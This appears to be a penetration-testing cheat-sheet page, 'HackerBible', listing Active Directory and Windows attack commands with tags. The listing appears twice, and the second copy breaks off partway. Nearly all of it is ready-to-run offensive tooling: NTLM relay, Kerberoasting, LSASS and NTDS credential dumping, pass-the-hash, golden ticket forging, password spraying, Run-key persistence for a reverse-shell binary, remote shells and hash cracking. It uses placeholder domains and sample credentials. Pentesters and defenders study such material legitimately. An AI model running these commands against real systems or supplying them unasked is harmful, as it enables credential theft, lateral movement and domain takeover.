HackerBible

Command
Search for all possible paths to escalate privileges on Windows hosts (winPEAS) winpeas.exe cmd > output.txt Privilege Escalation Shell Windows
Print "kerberoast" hashes for user accounts that have a SPN set python3 targetedKerberoast.py -d test.local -u test -p Welkom01! --dc-ip 10.10.10.1 Exploitation Username Password Kerberos NTLM Linux
Start ntlmrelayx in socks mode to relay multiple SMB requests later on (multiple commands) ntlmrelayx.py -tf targets.txt -socks -smb2support Enumeration Exploitation No Creds SMB LDAP Linux
Execute a powershell command ntlmrelayx.py -tf targets.txt -c <powershell command> Enumeration Exploitation No Creds SMB LDAP Linux
Dump SAM file ntlmrelayx.py -tf targets.txt Enumeration Exploitation No Creds SMB LDAP Linux
Add a user account to the Member of "Users" ntlmrelayx.py -t ldaps://<dc-ip> --delegate-access Enumeration Exploitation No Creds SMB LDAP Linux
Add a computer account to the domain ntlmrelayx.py -t ldaps://<dc-ip> --add-computer Enumeration Exploitation No Creds SMB LDAP Linux
Dump DC hashes with ntdsutil.exe powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q" Exploitation No Creds Shell Kerberos NTLM Linux Windows
Make NTDS backup See commands. Exploitation Persistence Username Password Shell Windows
Identify the Domain Controller nmap -p 389,636 10.1.1.* Scanning No Creds LDAP Linux
Find SNMP Info nmap -sU -p 161 -v 10.1.1.1 --script snmp* Scanning No Creds Linux
Find Network Shares using nmap nmap -p139,445 --script smb-enum-shares 192.168.4.0/24 Scanning No Creds SMB Linux
Find active IP's on local network nmap 172.16.0.0/12 -n -sn -oG - \| awk '/Up$/{print $2}' Scanning No Creds Linux
Fast range scan (if you know the ranges) nmap 192.168.33.* -n -sn -oG - \| awk '/Up$/{print $2}' Scanning No Creds Linux
Check whether a port is open on a range nmap -vv 192.168.4.0/24 -n -p3389 \| awk -F'[ /]' '/Discovered open port/{print $NF":"$4}' Scanning No Creds Linux
Check for DC’s (LDAP) on a range nmap -vv 192.168.4.0/24 -n -p389,636 \| awk -F'[ /]' '/Discovered open port/{print $NF":"$4}' Scanning No Creds LDAP Linux
Find active IP's on local network masscan -iL ranges.txt --open --rate 60000 -p22,3389,80,443,445,8080 -oL up_ranges.txt cat up_ranges.txt \| awk '{print $4} Scanning No Creds Linux
Search for all possible paths to escalate privileges on Windows hosts (WindowsEnum) powershell -nologo -executionpolicy bypass -file WindowsEnum.ps1 extended Privilege Escalation Shell Windows
Enumerate users, groups, and computers from a Windows domain through LDAP queries python3 windapsearch --dc-ip 10.10.10.1 -u test.local\\test -p Welkom01! -U -G --da -m "Remote Desktop Users" -C -r Enumeration Username Password Linux Windows
Enumerate sensitive data (passwords, PII, etc.) from file shares in Active Directory Snaffler.exe -s -o snaffler_output.log -d test.local -c 10.10.10.1 Enumeration Shell SMB Windows
List all processes running on the local system SharpWMI.exe action=query query="select * from win32_process" Persistence Shell WMI Windows
Perform Privilege Escalation checks SharpUp.exe > output.txt Privilege Escalation Shell Windows
Monitor creation, deletion and changes to LDAP objects live during a pentest SharpLDAPmonitor.exe /dcip:10.10.10.1 /user:TEST.local\test /pass:Welkom01! Enumeration Username Password Kerberos LDAP NTLM Windows
Collect data from the domain controllers and domain-joined Windows systems SharpHound.exe --CollectionMethod All --ZipFileName output.zip Enumeration Privilege Escalation Shell Windows
Collect data from the domain controllers and domain-joined Windows systems using LDAP collection methods SharpHound.exe --CollectionMethod All --LdapUsername test --LdapPassword Welkom01! --ZipFileName output.zip Enumeration Privilege Escalation Username Password Shell LDAP Windows
Dumps the LSASS process or a specific process given it's PID SharpDump.exe Enumeration Privilege Escalation Shell Windows
Collect system data that could be useful for potential privilege escalation or persistence methods Seatbelt.exe -group=all -full > output.txt Persistence Privilege Escalation Shell Windows
Dump the LSASS process and run Mimikatz to extract credentials from the dumped process SafetyKatz.exe Enumeration Privilege Escalation Shell Windows
Enumerate a list of SMB hosts for accessible SMB shares, both local and mapped drives python3 smbmap.py --host-file smb-hosts.txt -u test -p 'Welkom01!' -d test.local -L Enumeration Username Password SMB Linux Windows
Enumerate a list of SMB hosts for accessible SMB shares, both local and mapped drives (null session) python3 smbmap.py --host-file smb-hosts.txt -d test.local -L Enumeration No Creds SMB Linux Windows
Enumerate a list of SMB hosts for files and filenames containing a specific keyword (example: 'password') python3 smbmap.py --host-file smb-hosts.txt -u test -p 'Welkom01!' -d test.local -F password Enumeration Username Password SMB Linux Windows
List all available shares using valid credentials smbclient -L <ip> -U Guest Enumeration Username Password SMB Linux
List all available shares using valid credentials smbclient -L \\test.local -I 10.10.10.1 -U test Welkom01! Enumeration Username Password SMB Linux
List all available shares using PTH smbclient -L \\10.10.10.1 -U test.local/test --pw-nt-hash XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Enumeration Username Hash SMB Linux
List all available shares using anonymous login smbclient -L \\test.local -I 10.10.10.1 -N Enumeration No Creds SMB Linux
Connect to an SMB share using valid credentials smbclient \\\\test.local\\C$ -I 10.10.10.1 -U test Welkom01! Enumeration Username Password SMB Linux
Connect to an SMB share anonymously smbclient \\\\test.local\\public -I 10.10.10.1 -N Enumeration No Creds SMB Linux
Enumerates valid AD accounts through Kerberos Pre-Auth using bruteforce Rubeus.exe /users:usernames.txt /passwords:passwords.txt /domain:test.local /outfile:found_passwords.txt Enumeration No Creds Kerberos Windows
Fetch Service Principle Names (SPNs) that are associated with user accounts Rubeus.exe kerberoast /outfile:hashes.txt Exploitation Privilege Escalation Shell Kerberos Windows
Request Kerberos tickets to access any service or machine that user has permissions to Rubeus.exe asktgt /domain:test.local /user:test /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt Exploitation Username Hash Kerberos Windows
Harvest the non-preauth AS_REP responses for a given list of usernames Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt Exploitation Privilege Escalation Shell Kerberos Windows
Intercept hashes with Responder python Responder.py -I <interface> -v -d -w -P Enumeration Exploitation No Creds SMB LDAP Linux
Add reg keys that will execute an arbitrary payload during logon or startup reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Persistence /t REG_SZ /d "C:\Path\To\revshell.exe" reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Persistence /t REG_SZ /d "C:\Path\To\revshell.exe" Persistence Shell Windows
Enumerate NetBIOS server anonymously rpcclient -U '' -N 10.10.10.1 Enumeration No Creds RPC Linux
Manipulate the msDS-KeyCredentialLink attribute of a target user/computer to obtain full control over that object python3 pywhisker.py -d "test.local" -u "test" -p "Welkom01!" --target "user2" --action "list" --dc-ip "10.10.10.1" Exploitation Username Password Kerberos Linux
Monitor creation, deletion and changes to LDAP objects during the pentest python3 ldapmonitor.py -u 'test' -d 'TEST.local' -p 'Welkom01!' --dc-ip 10.10.10.1 Enumeration Username Password Hash Kerberos LDAP NTLM Linux
Query the DC for a list of all domain users Get-DomainUser -Domain test.local -DomainController 10.10.10.1 Enumeration Shell Windows
Query the DC for a list of members of the Domain Admins group Get-DomainGroupMember -identity "Domain Admins" -Domain test.local -DomainController 10.10.10.1 Enumeration Shell Windows
Query the DC for a list of available shares the current user has access to Find-DomainShare -CheckShareAccess -Domain test.local -DomainController 10.10.10.1 Enumeration Shell Windows
Find user logged on machines with Invoke-UserHunter powershell -exec bypass -Command "&{Import-Module .\powerview.ps1; Invoke-UserHunter}" Enumeration Shell Windows
Privilege Escalation check (PowerUp.ps1) powershell -exec bypass -Command "&{Import-Module .\PowerUp.ps1; Invoke-AllChecks}" Privilege Escalation Shell Windows
Find Network Shares See commands Enumeration Shell Windows
Enumerate valid AD accounts through Kerberos Pre-Auth using nmap's 'krb5-enum-users' nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='test.local',userdb=usernames.txt 10.10.10.1 Enumeration No Creds Kerberos Linux Windows
Enumerate information from NTLM authentication enabled web endpoints ntlmrecon --input https://mail.contoso.com --outfile ntlmrecon.csv ntlmrecon --input 192.168.1.1/24 --outfile ntlmrecon-ranges.csv Enumeration No Creds NTLM Linux
Mount cifs share on a windows server mount -t cifs //192.168.101.100/sales /mnt/cifs -o Enumeration SMB Linux
Extract Credentials Remotely (RunDLL) lsassy test.local/testuser:Welkom01!@dc01.test.local Enumeration Username Password SMB Linux
Extract Credentials Remotely (Procdump ) lsassy -m 2 -p /tmp/procdump.exe test.local/testuser:Welkom01!@dc01.test.local Enumeration Username Password SMB Linux
Extract Credentials Remotely (Parsing only) lsassy –dumppath C$/Windows/Temp/lsass.dmp test.local/testuser:Welkom01!@dc01.test.local Enumeration Username Password SMB Linux
Extract Credentials Remotely (NT Hash Auth) lsassy –hashes 952c28bd2fd728898411b301475009b7 Administrator@desktop01.test.local Enumeration Username Password SMB Linux
Extract Credentials Remotely (RunDLL) See commands Enumeration Username Password SMB Linux
Dump Local Plaintext Credentials laZagne.exe all Enumeration Shell Windows
Find sensitive information by querying all LDAP objects ldapsearch -LLL -x -H ldap://test.local -b'' -s base '(objectclass=\*)' Enumeration No Creds LDAP Linux
Dump Active Directory Information with LDAPDomaindump sudo ldapdomaindump ldap://192.168.122.41 -u "<domain\username>" Enumeration Username LDAP Linux
Enumerate valid AD accounts through Kerberos Pre-Auth kerbrute userenum --dc 10.10.10.1 -d test.local usernames.txt Enumeration No Creds Kerberos Linux Windows
Enumerate valid AD accounts through Kerberos Pre-Auth using password spray kerbrute passwordspray -d test.local domain_users.txt Welkom01! Enumeration Password Kerberos Linux Windows
Enumerate valid AD accounts through Kerberos Pre-Auth using bruteforce on an account kerbrute bruteuser -d test.local passwords.txt test Enumeration Username Kerberos Linux Windows
Enumerate valid AD accounts through Kerberos Pre-Auth cat credentials.txt \| kerbrute_linux_amd64 -d test.local bruteforce - Enumeration No Creds Kerberos Linux
Pass the hash Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 Lateral Movement Hash SMB WMI Windows
Request Kerberos (TGT) tickets python3 getTGT.py test.local/test -dc-ip 10.10.10.1 -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7 Exploitation Username Hash Kerberos Linux Windows
Impersonate the Administrator account and request a Service Ticket for a service python3 getST.py -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7 -spn www/server01.test.local -dc-ip 10.10.10.1 -impersonate Administrator test.local/test Exploitation Persistence Privilege Escalation Username Hash Kerberos Linux Windows
Impersonate the Administrator account and request a Service Ticket for a service python3 getST.py -spn www/server01.test.local -dc-ip 10.10.10.1 -impersonate Administrator test.local/test:Welkom01! Exploitation Persistence Privilege Escalation Username Password Kerberos Linux Windows
Use the Task Scheduler service to execute a command python3 atexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 test.local/test@10.10.10.1 whoami Exploitation Username Hash SMB Linux Windows
Use the Task Scheduler service to execute a command python3 atexec.py test.local/test:Welkom01!@10.10.10.1 whoami Exploitation Username Password SMB Linux Windows
python3 wmiexec.py test.local/test:Welkom01!@10.10.10.1 Exploitation Username Password WMI Linux Windows
python3 ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain test.local -dc-ip 10.10.10.1 -spn cifs/test.local test Exploitation Persistence Username Hash Kerberos Linux Windows
python3 services.py test.local/test:Welkom01!@10.10.10.1 list Enumeration Username Password RPC Linux Windows
Use NTDS.dit and system file to extract the user account hashes associated with the target machine python3 secretsdump.py -ntds C:\Windows\NTDS\ntds.dit -system C:\Windows\System32\Config\system -dc-ip 10.10.10.1 test.local/test:Welkom01!@10.10.10.2 Exploitation Username Password Kerberos NTLM Linux Windows
Dump NTLM hashes locally after dumping the NTDS and SYSTEM python3 secretsdump.py -ntds ntds.dit -system SYS LOCAL Exploitation Username Password Kerberos NTLM Linux Windows
Dump DC hashes with secretsdump python3 secretsdump.py test.local/test:Welkom01!@10.10.10.1 Exploitation Username Password Kerberos NTLM Linux Windows
python3 smbexec.py test.local/test:Welkom01!@10.10.10.1 Exploitation Username Password SMB Linux Windows
List Shares and list, rename, upload and download files python3 smbclient.py test.local/test:Welkom01!@10.10.10.1 Enumeration Username Password SMB Linux Windows
List system user acounts, available resource shares, and other sensitive information python3 samrdump.py test.local/test:Welkom01!@10.10.10.1 Enumeration Username Password RPC Linux Windows
Remote Registry Manipulation python3 reg.py test.local/test:Welkom01!@10.10.10.1 query -keyName HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows -s Exploitation Persistence Username Password SMB Linux Windows
Enumerate Remote Procedure Call (RPC) endpoints python3 rpcdump.py test.local/test:Welkom01!@10.10.10.1 Enumeration Username Password RPC Linux Windows
Modify property of a target computer with the security descriptor of another computer python3 rbcd.py -action write -delegate-to "DC01$" -delegate-from "EVILCOMPUTER$" -dc-ip 10.10.10.1 -hashes :A9FDFA038C4B75EBC76DC855DD74F0DA test.local/test Exploitation Persistence Privilege Escalation Username Hash SMB Kerberos LDAP Linux Windows
Get an Interactive Shell on the Windows host python3 psexec.py test.local/test:Welkom01!@10.10.10.1 Exploitation Username Password SMB Linux Windows
Get an Interactive Shell on the Windows host using Pass the Ticket (PTT) export KRB5CCNAME=/full/path/to/test.ccache; python3 psexec.py test.local/test@10.10.10.1 -k -no-pass Exploitation Username TGS SMB Linux Windows
Perform NTLM Relay Attack python3 ntlmrelayx.py -smb2support -t smb://10.10.10.1 -c 'whoami /all' -debug Exploitation No Creds NTLM Linux Windows
Initiate a mimikatz shell on the target machine python3 mimikatz.py test.local/test:Welkom01!@10.10.10.1 Exploitation Username Password Kerberos Linux Windows
Identify users/groups by bruteforcing Windows SID's python3 lookupsid.py test.local/test:Welkom01!@10.10.10.1 Enumeration Username Password RPC Linux Windows
Golden Ticket Attack python3 ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain test.local -dc-ip 10.10.10.1 test Exploitation Persistence Username Hash Kerberos Linux Windows
Fetch Service Principal Names (SPNs) that are associated with user accounts python3 GetUserSPNs.py test.local/test:Welkom01! -request -dc-ip 10.10.10.1 -debug Exploitation Username Password Kerberos Linux Windows
Harvest non-preauth AS_REP responses for a given list of usernames python3 GetNPUsers.py test.local/ -dc-ip 10.10.10.1 -usersfile usernames.txt -format hashcat -outputfile hashes Exploitation Username Password Kerberos Linux Windows
Gather data about the domain users and corresponding email addresses python3 GetADUsers.py -all test.local/test:Welkom01! -dc-ip 10.10.10.1 Enumeration Username Password Kerberos Linux Windows
Extract and decrypt Group Policy Preferences (GPP) passwords python3 Get-GPPPassword.py 'TEST.local/test:Welkom01!@DC01.TEST.local' -dc-ip 10.10.10.1 Enumeration Exploitation Username Password Hash SMB Linux Windows
Interactive shell using DCOM endpoints python3 dcomexec.py -object MMC20 test.local/test:Welkom01!@10.10.10.1 Exploitation Username Password DCOM Linux Windows
Add computer to the domain using SMB python3 addcomputer.py -method SAMR -dc-ip 10.10.10.1 -computer-pass TestPassword321 -computer-name testComputer test.local/test:Welkom01! Exploitation Persistence Username Password SMB Linux Windows
Add computer to the domain using LDAPS python3 addcomputer.py -method LDAPS -dc-ip 10.10.10.1 -computer-pass Welkom02! -computer-name testComputer test.local/test:Welkom01! Exploitation Persistence Username Password LDAP Linux Windows
Fast NTLM Cracking See commands. Cracking Hash Linux
Cracking with masks (feasible for 8-11 characters) See commands. Cracking Hash Linux
Cracking with huge wordlist hashcat64.exe -a 0 -m 1000 -w 3 hashes/DC_Pwdump_hashes.txt wordlist/HashesOrg -O -r rules/best64.rule Cracking Hash Linux
Crack kerberos ticket hashes hashcat -m 13100 -w 3 hash.txt rockyou.txt --force Cracking Hash Linux
Crack kerberos ASREP hashes hashcat -m 18200 -w 3 hash.txt rockyou.txt -O Cracking Hash Linux
Crack intercepted (responder) hashes hashcat -m 5600 hashes.txt wordlist.txt -o cracked.txt --force Cracking Hash Linux
Crack intercepted (responder) hashes using brute force hashcat -m 5600 hashes.txt -a 3 -1 ?d?l?u ?1?1?1?1 Cracking Hash Linux
Bruteforcing NTLM (3-8 chars) hashcat64.exe -m 1000 -a 3 -w 4 --session vol1 hash.txt -i --increment-min 3 --increment-max 8 ?a?a?a?a?a?a?a?a -O Cracking Hash Linux
Recover plaintext domain credentials from WPA2 enterprise on a compromised host powershell -exec bypass -Command "&{. .\Get-WPAEnterprisePassword.ps1; Get-WlanEnterprisePassword}" Enumeration Shell Windows
Get all DNS records from Domain Controller with Domain Admin Get-DnsServerResourceRecord -ZoneName <AD> Enumeration Username Password Shell Windows
Find uncommon shares in vast Windows Domains python3 FindUncommonShares.py -u 'test' -d 'test.local' -p 'Welkom01!' --dc-ip 10.10.10.1 Enumeration Username Password Hash SMB Linux Windows
File Transfers - Windows to Linux - SMB See commands. Enumeration Privilege Escalation Username Password Shell Linux Windows
File Transfers - Windows to Linux - SCP See commands. Enumeration Privilege Escalation Username Password Linux
File Transfers - Windows to Linux - FTP See commands. Enumeration Privilege Escalation Username Password Shell Linux Windows
File Transfers - Linux to Windows - Powershell See commands. Enumeration Privilege Escalation Shell Windows
File Transfers - Linux to Windows - Native commands See commands. Enumeration Privilege Escalation Username Password Shell Windows
Interactive shell on windows host using WMI evil-winrm -i 10.10.10.1 -u test -p Welkom01! Exploitation Username Password WMI Linux Windows
Find Users with Enum4Linux-ng enum4linux-ng -U 10.10.10.1 \| grep 'user:' Enumeration Linux
Find Network Shares with Enum4Linux-ng enum4linux-ng -A 192.168.4.0/24 Enumeration SMB Linux
Enumerating System Information enum4linux-ng -A 10.10.10.1 Enumeration No Creds Linux
Enumerating System Information enum4linux -u test -p Welkom01! -A 10.10.10.1 Enumeration Username Password Linux
Make NTDS backup by creating a shadow copy See commands. Exploitation Persistence Shell Windows
Capture authentication to relay to other hosts python3 dementor.py -u test -p Welkom01! -d test.local 10.10.10.2 10.10.10.1 Exploitation Username Password RPC NTLM Linux Windows
Test on what machines your account works python3 CredNinja.py -a users.txt -s hosts.txt Enumeration Username Password SMB Linux
Enumerate users with winrm using Crackmapexec crackmapexec winrm 10.10.10.1 -u users.txt -p 'Welkom01' --continue-on-success Enumeration No Creds SMB Linux
Create a list of targets with SMB Signing disabled (required to relay) crackmapexec smb 192.168.1.0/24 --gen-relay-list targets.txt Enumeration No Creds SMB Linux
Pass the hash crackmapexec smb <target(s)> -u username -H LMHASH:NTHASH Lateral Movement Hash SMB Linux
Create a list of targets with SMB Signing disabled (required to relay) crackmapexec smb 10.0.0.0/24 -d test.local -u Administrator -p Welkom01! -M lsassy -o BLOODHOUND=True NEO4JPASS=bloodhound Enumeration Username Password SMB Linux
Execute powershell command on the target machine (Admin priv needed) crackmapexec smb 10.10.10.1 -u 'test' -p 'Welkom01!' -X '$Host' Exploitation Username Password SMB Linux
Enumerate SMB with Crackmapexec crackmapexec smb 10.10.10.1 -u 'test' -p 'Welkom01!' --groups --local-groups --loggedon-users --rid-brute --sessions --users --shares --pass-pol Enumeration Username Password SMB Linux
Dump DC hashes without password crackmapexec smb 172.28.2.100 -u <username> -d <domain> -H <NTLM hash> -x 'C:\Windows\temp\procdump.exe -accepteula -ma lsass.exe C:\Windows\temp\lsass.dmp' Exploitation Username Hash SMB Linux
Create a new domain admin account with CME See commands. Exploitation Persistence Username Password Hash SMB Linux
Create a list of targets with SMB Signing disabled (required to relay) crackmapexec smb 192.168.1.0/24 --gen-relay-list targets.txt Enumeration No Creds SMB Linux
Dump DC hashes without password See commands Exploitation Username Password SMB Linux
Bruteforce with multiple passwords crackmapexec SMB 192.168.4.0/24 -u username1 -p password1 password2 Enumeration Username SMB Linux
Enumerate users with RID Bruteforce crackmapexec smb 10.10.10.1 -u test -p Welkom01! --rid-brute Enumeration Username Password SMB Linux
BloodHound Remote Ingestion without Creds sudo bloodhound-python -d test.local -ns 10.10.10.1 -c All Enumeration No Creds LDAP Linux Windows
BloodHound Remote Ingestion with Hash sudo bloodhound-python -u test -d test.local --hashes aad3b435b51404eeaad3b435b51404ee:B4B9B02E6F09A9BD760F388B67351E2B -dc DC01 -c all Enumeration Hash LDAP Linux Windows
BloodHound Remote Ingestion with Creds sudo bloodhound-python -u test -p Welkom01 -ns 10.10.10.1 -d test.local -c All Enumeration Username Password LDAP Linux Windows
BloodHound Queries https://gist.github.com/seajaysec/a4d4a545047a51053d52cba567f78a9b Enumeration No Creds LDAP Linux Windows
Get an overview of the AD with ADRecon PS C:>.\ADRecon.ps1 -DomainController <IP or FQDN> -Credential <domain\username> Enumeration Username Password Shell LDAP Windows
How to add commands?

Command

Search for all possible paths to escalate privileges on Windows hosts (winPEAS)

winpeas.exe cmd > output.txt

Print "kerberoast" hashes for user accounts that have a SPN set

python3 targetedKerberoast.py -d test.local -u test -p Welkom01! --dc-ip 10.10.10.1

Start ntlmrelayx in socks mode to relay multiple SMB requests later on (multiple commands)

ntlmrelayx.py -tf targets.txt -socks -smb2support

Execute a powershell command

ntlmrelayx.py -tf targets.txt -c <powershell command>

Dump SAM file

ntlmrelayx.py -tf targets.txt

Add a user account to the Member of "Users"

ntlmrelayx.py -t ldaps://<dc-ip> --delegate-access

Add a computer account to the domain

ntlmrelayx.py -t ldaps://<dc-ip> --add-computer

Dump DC hashes with ntdsutil.exe

powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"

Make NTDS backup

See commands.

Identify the Domain Controller

nmap -p 389,636 10.1.1.*

Find SNMP Info

nmap -sU -p 161 -v 10.1.1.1 --script snmp*

Find Network Shares using nmap

nmap -p139,445 --script smb-enum-shares 192.168.4.0/24

Find active IP's on local network

nmap 172.16.0.0/12 -n -sn -oG - | awk '/Up$/{print $2}'

Fast range scan (if you know the ranges)

nmap 192.168.33.* -n -sn -oG - | awk '/Up$/{print $2}'

Check whether a port is open on a range

nmap -vv 192.168.4.0/24 -n -p3389 | awk -F'[ /]' '/Discovered open port/{print $NF":"$4}'

Check for DC’s (LDAP) on a range

nmap -vv 192.168.4.0/24 -n -p389,636 | awk -F'[ /]' '/Discovered open port/{print $NF":"$4}'

Find active IP's on local network

masscan -iL ranges.txt --open --rate 60000 -p22,3389,80,443,445,8080 -oL up_ranges.txt cat up_ranges.txt | awk '{print $4}

Search for all possible paths to escalate privileges on Windows hosts (WindowsEnum)

powershell -nologo -executionpolicy bypass -file WindowsEnum.ps1 extended

Enumerate users, groups, and computers from a Windows domain through LDAP queries

python3 windapsearch --dc-ip 10.10.10.1 -u test.local\\test -p Welkom01! -U -G --da -m "Remote Desktop Users" -C -r

Enumerate sensitive data (passwords, PII, etc.) from file shares in Active Directory

Snaffler.exe -s -o snaffler_output.log -d test.local -c 10.10.10.1

List all processes running on the local system

SharpWMI.exe action=query query="select * from win32_process"

Perform Privilege Escalation checks

SharpUp.exe > output.txt

Monitor creation, deletion and changes to LDAP objects live during a pentest

SharpLDAPmonitor.exe /dcip:10.10.10.1 /user:TEST.local\test /pass:Welkom01!

Collect data from the domain controllers and domain-joined Windows systems

SharpHound.exe --CollectionMethod All --ZipFileName output.zip

Collect data from the domain controllers and domain-joined Windows systems using LDAP collection methods

SharpHound.exe --CollectionMethod All --LdapUsername test --LdapPassword Welkom01! --ZipFileName output.zip

Dumps the LSASS process or a specific process given it's PID

SharpDump.exe

Collect system data that could be useful for potential privilege escalation or persistence methods

Seatbelt.exe -group=all -full > output.txt

Dump the LSASS process and run Mimikatz to extract credentials from the dumped process

SafetyKatz.exe

Enumerate a list of SMB hosts for accessible SMB shares, both local and mapped drives

python3 smbmap.py --host-file smb-hosts.txt -u test -p 'Welkom01!' -d test.local -L

Enumerate a list of SMB hosts for accessible SMB shares, both local and mapped drives (null session)

python3 smbmap.py --host-file smb-hosts.txt -d test.local -L

Enumerate a list of SMB hosts for files and filenames containing a specific keyword (example: 'password')

python3 smbmap.py --host-file smb-hosts.txt -u test -p 'Welkom01!' -d test.local -F password

List all available shares using valid credentials

smbclient -L <ip> -U Guest

List all available shares using valid credentials

smbclient -L \\test.local -I 10.10.10.1 -U test Welkom01!

List all available shares using PTH

smbclient -L \\10.10.10.1 -U test.local/test --pw-nt-hash XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

List all available shares using anonymous login

smbclient -L \\test.local -I 10.10.10.1 -N

Connect to an SMB share using valid credentials

smbclient \\\\test.local\\C$ -I 10.10.10.1 -U test Welkom01!

Connect to an SMB share anonymously

smbclient \\\\test.local\\public -I 10.10.10.1 -N

Enumerates valid AD accounts through Kerberos Pre-Auth using bruteforce

Rubeus.exe /users:usernames.txt /passwords:passwords.txt /domain:test.local /outfile:found_passwords.txt

Fetch Service Principle Names (SPNs) that are associated with user accounts

Rubeus.exe kerberoast /outfile:hashes.txt

Request Kerberos tickets to access any service or machine that user has permissions to

Rubeus.exe asktgt /domain:test.local /user:test /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt

Harvest the non-preauth AS_REP responses for a given list of usernames

Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

Intercept hashes with Responder

python Responder.py -I <interface> -v -d -w -P

Add reg keys that will execute an arbitrary payload during logon or startup

reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Persistence /t REG_SZ /d "C:\Path\To\revshell.exe" reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Persistence /t REG_SZ /d "C:\Path\To\revshell.exe"

Enumerate NetBIOS server anonymously

rpcclient -U '' -N 10.10.10.1

Manipulate the msDS-KeyCredentialLink attribute of a target user/computer to obtain full control over that object

python3 pywhisker.py -d "test.local" -u "test" -p "Welkom01!" --target "user2" --action "list" --dc-ip "10.10.10.1"

Monitor creation, deletion and changes to LDAP objects during the pentest

python3 ldapmonitor.py -u 'test' -d 'TEST.local' -p 'Welkom01!' --dc-ip 10.10.10.1

Query the DC for a list of all domain users

Get-DomainUser -Domain test.local -DomainController 10.10.10.1

Query the DC for a list of members of the Domain Admins group

Get-DomainGroupMember -identity "Domain Admins" -Domain test.local -DomainController 10.10.10.1

Query the DC for a list of available shares the current user has access to

Find-DomainShare -CheckShareAccess -Domain test.local -DomainController 10.10.10.1

Find user logged on machines with Invoke-UserHunter

powershell -exec bypass -Command "&{Import-Module .\powerview.ps1; Invoke-UserHunter}"

Privilege Escalation check (PowerUp.ps1)

powershell -exec bypass -Command "&{Import-Module .\PowerUp.ps1; Invoke-AllChecks}"

Find Network Shares

See commands

Enumerate valid AD accounts through Kerberos Pre-Auth using nmap's 'krb5-enum-users'

nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='test.local',userdb=usernames.txt 10.10.10.1

Enumerate information from NTLM authentication enabled web endpoints

ntlmrecon --input https://mail.contoso.com --outfile ntlmrecon.csv ntlmrecon --input 192.168.1.1/24 --outfile ntlmrecon-ranges.csv

Mount cifs share on a windows server

mount -t cifs //192.168.101.100/sales /mnt/cifs -o

Extract Credentials Remotely (RunDLL)

lsassy test.local/testuser:Welkom01!@dc01.test.local

Extract Credentials Remotely (Procdump )

lsassy -m 2 -p /tmp/procdump.exe test.local/testuser:Welkom01!@dc01.test.local

Extract Credentials Remotely (Parsing only)

lsassy –dumppath C$/Windows/Temp/lsass.dmp test.local/testuser:Welkom01!@dc01.test.local

Extract Credentials Remotely (NT Hash Auth)

lsassy –hashes 952c28bd2fd728898411b301475009b7 Administrator@desktop01.test.local

Extract Credentials Remotely (RunDLL)

See commands

Dump Local Plaintext Credentials

laZagne.exe all

Find sensitive information by querying all LDAP objects

ldapsearch -LLL -x -H ldap://test.local -b'' -s base '(objectclass=\*)'

Dump Active Directory Information with LDAPDomaindump

sudo ldapdomaindump ldap://192.168.122.41 -u "<domain\username>"

Enumerate valid AD accounts through Kerberos Pre-Auth

kerbrute userenum --dc 10.10.10.1 -d test.local usernames.txt

Enumerate valid AD accounts through Kerberos Pre-Auth using password spray

kerbrute passwordspray -d test.local domain_users.txt Welkom01!

Enumerate valid AD accounts through Kerberos Pre-Auth using bruteforce on an account

kerbrute bruteuser -d test.local passwords.txt test

Enumerate valid AD accounts through Kerberos Pre-Auth

cat credentials.txt | kerbrute_linux_amd64 -d test.local bruteforce -

Pass the hash

Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0

Request Kerberos (TGT) tickets

python3 getTGT.py test.local/test -dc-ip 10.10.10.1 -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7

Impersonate the Administrator account and request a Service Ticket for a service

python3 getST.py -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7 -spn www/server01.test.local -dc-ip 10.10.10.1 -impersonate Administrator test.local/test

Impersonate the Administrator account and request a Service Ticket for a service

python3 getST.py -spn www/server01.test.local -dc-ip 10.10.10.1 -impersonate Administrator test.local/test:Welkom01!

Use the Task Scheduler service to execute a command

python3 atexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 test.local/test@10.10.10.1 whoami

Use the Task Scheduler service to execute a command

python3 atexec.py test.local/test:Welkom01!@10.10.10.1 whoami

python3 wmiexec.py test.local/test:Welkom01!@10.10.10.1

python3 ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain test.local -dc-ip 10.10.10.1 -spn cifs/test.local test

python3 services.py test.local/test:Welkom01!@10.10.10.1 list

Use NTDS.dit and system file to extract the user account hashes associated with the target machine

python3 secretsdump.py -ntds C:\Windows\NTDS\ntds.dit -system C:\Windows\System32\Config\system -dc-ip 10.10.10.1 test.local/test:Welkom01!@10.10.10.2

Dump NTLM hashes locally after dumping the NTDS and SYSTEM

